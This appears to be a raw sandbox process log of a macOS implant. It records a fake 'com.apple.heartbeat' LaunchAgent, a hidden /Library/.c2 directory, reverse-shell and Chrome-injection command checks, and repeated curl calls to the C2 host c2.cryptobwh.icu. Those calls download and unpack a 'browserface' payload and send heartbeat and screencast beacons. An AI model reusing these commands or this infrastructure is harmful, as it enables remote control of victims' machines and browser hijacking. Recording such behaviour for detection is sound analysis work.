    PID:1009
- - /bin/grep
    grep -q "^cmd:reverse_shell "
    3⤵
    PID:1011
- - /bin/mkdir
    mkdir -p /Library/.c2
    3⤵
    PID:1013
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1016
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1019
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1022
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1025
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1028
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1031
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1034
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1037
- - /bin/grep
    grep "<string>"
    3⤵
    PID:1040
- - /bin/grep
    grep -A1 "<key>BID</key>" /Library/LaunchAgents/com.apple.heartbeat.plist
    3⤵
    PID:1039
- - /bin/sed
    sed "s/.*<string>//;s/<\\/string>//"
    3⤵
    PID:1041
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1044
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1045
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1048
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1049
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1052
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1055
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1059
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1063
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1066
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1069
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1072
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1073
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:9222/json/version
    3⤵
    PID:1075
- - /bin/mkdir
    mkdir -p /Library/.c2/chrome_data /Library/.c2/cache /Library/.c2/crashpad
    3⤵
    PID:1076
- - /bin/rm
    rm -f /Library/.c2/chrome_data/SingletonLock /Library/.c2/chrome_data/SingletonSocket /Library/.c2/chrome_data/SingletonCookie
    3⤵
    PID:1077
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1078
- - /bin/sed
    sed "s|https://||;s|http://||;s|/.*||"
    3⤵
    PID:1081
- - /bin/grep
    grep -q "^https"
    3⤵
    PID:1083
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1086
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1089
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1090
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1092
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1094
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads CPU attributes
    PID:1096
- - /usr/bin/pkill
    pkill -f bf_mux
    3⤵
    - Reads CPU attributes
    PID:1097
- - /bin/sleep
    sleep 1
    3⤵
    PID:1099
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1103
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1106
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1109
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1110
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1113
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1114
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1116
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1119
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1123
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1124
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1127
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1128
- - /bin/date
    date "+%s"
    3⤵
    PID:1129
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1132
- - /bin/date
    date "+%s"
    3⤵
    PID:1133
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1135
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads CPU attributes
    PID:1137
- - /bin/sleep
    sleep 1
    3⤵
    PID:1138
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads CPU attributes
    PID:1142
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1145
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1148
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1149
- - /bin/rm
    rm -f /Library/.c2/bf_startup_done
    3⤵
    PID:1150
- - /bin/grep
    grep -q "^cmd:inject_chrome"
    3⤵
    PID:1152
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1153
- - /bin/rm
    rm -rf /Library/.c2/dist /Library/.c2/node /Library/.c2/node_modules /Library/.c2/package.json
    3⤵
    PID:1154
- - /bin/mkdir
    mkdir -p /Library/.c2
    3⤵
    PID:1155
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1158
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1161
- - /usr/bin/curl
    curl -sSfL --max-time 60 https://c2.cryptobwh.icu/static/browserface-dist.tar.gz -o /Library/.c2/bf.tar.gz
    3⤵
    PID:1162
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1169
- - /bin/tar
    tar xzf /Library/.c2/bf.tar.gz -C /Library/.c2
    3⤵
    PID:1170
  - - /usr/local/sbin/gzip
      gzip -d
      4⤵
      PID:1171
  - - /usr/local/bin/gzip
      gzip -d
      4⤵
      PID:1171
  - - /usr/sbin/gzip
      gzip -d
      4⤵
      PID:1171
  - - /usr/bin/gzip
      gzip -d
      4⤵
      PID:1171
  - - /sbin/gzip
      gzip -d
      4⤵
      PID:1171
  - - /bin/gzip
      gzip -d
      4⤵
      PID:1171
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1175
- - /bin/rm
    rm -f /Library/.c2/bf.tar.gz
    3⤵
    PID:1176
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1179
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1180
- - /bin/uname
    uname -m
    3⤵
    PID:1181
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1184
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1185
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1188
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1189
- - /bin/rm
    rm -rf /Library/.c2/bf-git
    3⤵
    PID:1190
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1193
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1194
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1197
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1198
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1200
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1204
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1205
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1210
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1213
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1216
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1217
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1229
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1230
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1235
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1238
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1240
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1243
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1244
- - /bin/date
    date "+%s"
    3⤵
    PID:1246
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1248
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1251
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1252
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1255
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1258
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1261
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1262
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1265
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1267
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1270
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1273
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1277
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1278
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1281
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1284
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1285
- - /bin/sleep
    sleep 5
    3⤵
    PID:1286
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1321
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1322
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1337
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1340
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1352
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1353
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1359
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1362
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1364
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1367
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1368
- - /bin/date
    date "+%s"
    3⤵
    PID:1369
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1372
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1375
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1376
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1378
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1382
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1385
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1386
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1389
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1391
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1394
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1398
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1399
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1402
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1405
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1406
- - /bin/sleep
    sleep 5
    3⤵
    PID:1407
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1433
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1434
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1438
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1441
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1453
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1454
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1460
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1463
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1465
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1468
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1469
- - /bin/date
    date "+%s"
    3⤵
    PID:1470
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1472
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1475
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1476
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1478
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1481
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1484
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1485
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1488
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1490
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1493
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1497
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1498
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1501
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1504
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1505
- - /bin/sleep
    sleep 5
    3⤵
    PID:1506
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1514
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1515
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1517
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1520
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1532
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1533
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1536
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1539
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1543
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1546
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1547
- - /bin/date
    date "+%s"
    3⤵
    PID:1548
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1550
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1554
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1555
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1557
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1560
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1563
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1564
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1567
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1569
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1572
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1576
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1577
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1580
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1583
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1584
- - /bin/sleep
    sleep 5
    3⤵
    PID:1585
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1593
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1594
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1600
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1603
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1615
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1616
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1619
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1622
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1624
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1627
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1628
- - /bin/date
    date "+%s"
    3⤵
    PID:1629
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1631
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1634
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1635
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1637
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1640
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1643
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1644
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1647
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1649
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1652
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1656
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1657
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1660
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1663
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1664
- - /bin/sleep
    sleep 5
    3⤵
    PID:1665
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1673
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
    3⤵
    PID:1674
- - /bin/rm
    rm -f /Library/.c2/restart_counter
    3⤵
    PID:1678
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1681
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1693
- - /usr/bin/curl
    curl -s --max-time 5 https://c2.cryptobwh.icu/api/builds/ps_Q4huLTcs.ps1/screencast/status
    3⤵
    PID:1694
- - /bin/grep
    grep -q "\"reinstall\""
    3⤵
    PID:1701
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1704
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1706
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1709
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1710
- - /bin/date
    date "+%s"
    3⤵
    PID:1711
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1713
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1716
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1717
- - /bin/cat
    cat /Library/.c2/wk.pid
    3⤵
    PID:1719
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1722
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1725
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1728
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1731
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1733
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1736
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1741
- - /bin/cat
    cat /Library/.c2/bf_grace_counter
    3⤵
    PID:1742
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1745
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1748
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1749
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1752
- - /bin/rm
    rm -f /Library/.c2/bf_grace_counter
    3⤵
    PID:1753
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1757
- - /bin/date
    date "+%s"
    3⤵
    PID:1759
- - /usr/bin/curl
    curl -s --max-time 10 "https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat?r=1788274389&bid=ps_Q4huLTcs.ps1&build=macos&version=9"
    3⤵
    PID:1760
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1773
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1774
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1776
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1778
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1781
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:8768/
    3⤵
    PID:1782
- - /bin/sleep
    sleep 2
    3⤵
    PID:1783
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1785
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1787
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1790
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:8768/
    3⤵
    PID:1791
- - /bin/sleep
    sleep 2
    3⤵
    PID:1792
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1797
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1799
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1802
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:8768/
    3⤵
    PID:1803
- - /bin/sleep
    sleep 2
    3⤵
    PID:1804
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1807
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1809
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1812
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:8768/
    3⤵
    PID:1813
- - /bin/sleep
    sleep 2
    3⤵
    PID:1814
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1816
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1818
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1821
- - /usr/bin/curl
    curl -s --max-time 2 http://127.0.0.1:8768/
    3⤵
    PID:1822
- - /bin/sleep
    sleep 2
    3⤵
    PID:1823
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1829
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1830
- - /bin/date
    date "+%s"
    3⤵
    PID:1831
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1833
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1836
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1837
- - /bin/cat
    cat /Library/.c2/browserface.pid
    3⤵
    PID:1839
- - /bin/cat
    cat /Library/.c2/bf_mux.pid
    3⤵
    PID:1842
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads CPU attributes
    PID:1846
- - /usr/bin/pkill
    pkill -f bf_mux
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1848
- - /bin/sleep
    sleep 2
    3⤵
    PID:1849
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1852
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1853
- - /bin/date
    date "+%s"
    3⤵
    PID:1854
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1856
- - /bin/date
    date "+%s"
    3⤵
    PID:1857
- - /bin/cat
    cat /Library/.c2/restart_counter
    3⤵
    PID:1859
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads CPU attributes
    PID:1861
- - /bin/sleep
    sleep 1
    3⤵
    PID:1862
- - /usr/bin/pgrep
    pgrep -f browserface
    3⤵
    - Reads runtime system information
    PID:1864
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1867
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1870
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1871
- - /bin/rm
    rm -f /Library/.c2/bf_startup_done
    3⤵
    PID:1872
- - /bin/uname
    uname -m
    3⤵
    PID:1873
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1876
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1877
- - /bin/grep
    grep -q "^cmd:inject_chrome"
    3⤵
    PID:1879
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1880
- - /bin/rm
    rm -rf /Library/.c2/dist /Library/.c2/node /Library/.c2/node_modules /Library/.c2/package.json
    3⤵
    PID:1881
- - /bin/mkdir
    mkdir -p /Library/.c2
    3⤵
    PID:1882
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1885
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1888
- - /usr/bin/curl
    curl -sSfL --max-time 60 https://c2.cryptobwh.icu/static/browserface-dist.tar.gz -o /Library/.c2/bf.tar.gz
    3⤵
    PID:1889
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1896
- - /bin/tar
    tar xzf /Library/.c2/bf.tar.gz -C /Library/.c2
    3⤵
    PID:1897
  - - /usr/local/sbin/gzip
      gzip -d
      4⤵
      PID:1898
  - - /usr/local/bin/gzip
      gzip -d
      4⤵
      PID:1898
  - - /usr/sbin/gzip
      gzip -d
      4⤵
      PID:1898
  - - /usr/bin/gzip
      gzip -d
      4⤵
      PID:1898
  - - /sbin/gzip
      gzip -d
      4⤵
      PID:1898
  - - /bin/gzip
      gzip -d
      4⤵
      PID:1898
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1901
- - /bin/rm
    rm -f /Library/.c2/bf.tar.gz
    3⤵
    PID:1902
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1905
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1906
- - /bin/uname
    uname -m
    3⤵
    PID:1907
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1910
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1911
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1915
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1916
- - /bin/rm
    rm -rf /Library/.c2/bf-git
    3⤵
    PID:1917
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1920
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1921
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1924
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1925
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1928
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1929
- - /bin/sleep
    sleep 5
    3⤵
    PID:1930
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1937
- - /usr/bin/curl
    curl -s --max-time 10 https://c2.cryptobwh.icu/api/payload/ps_Q4huLTcs.ps1/heartbeat
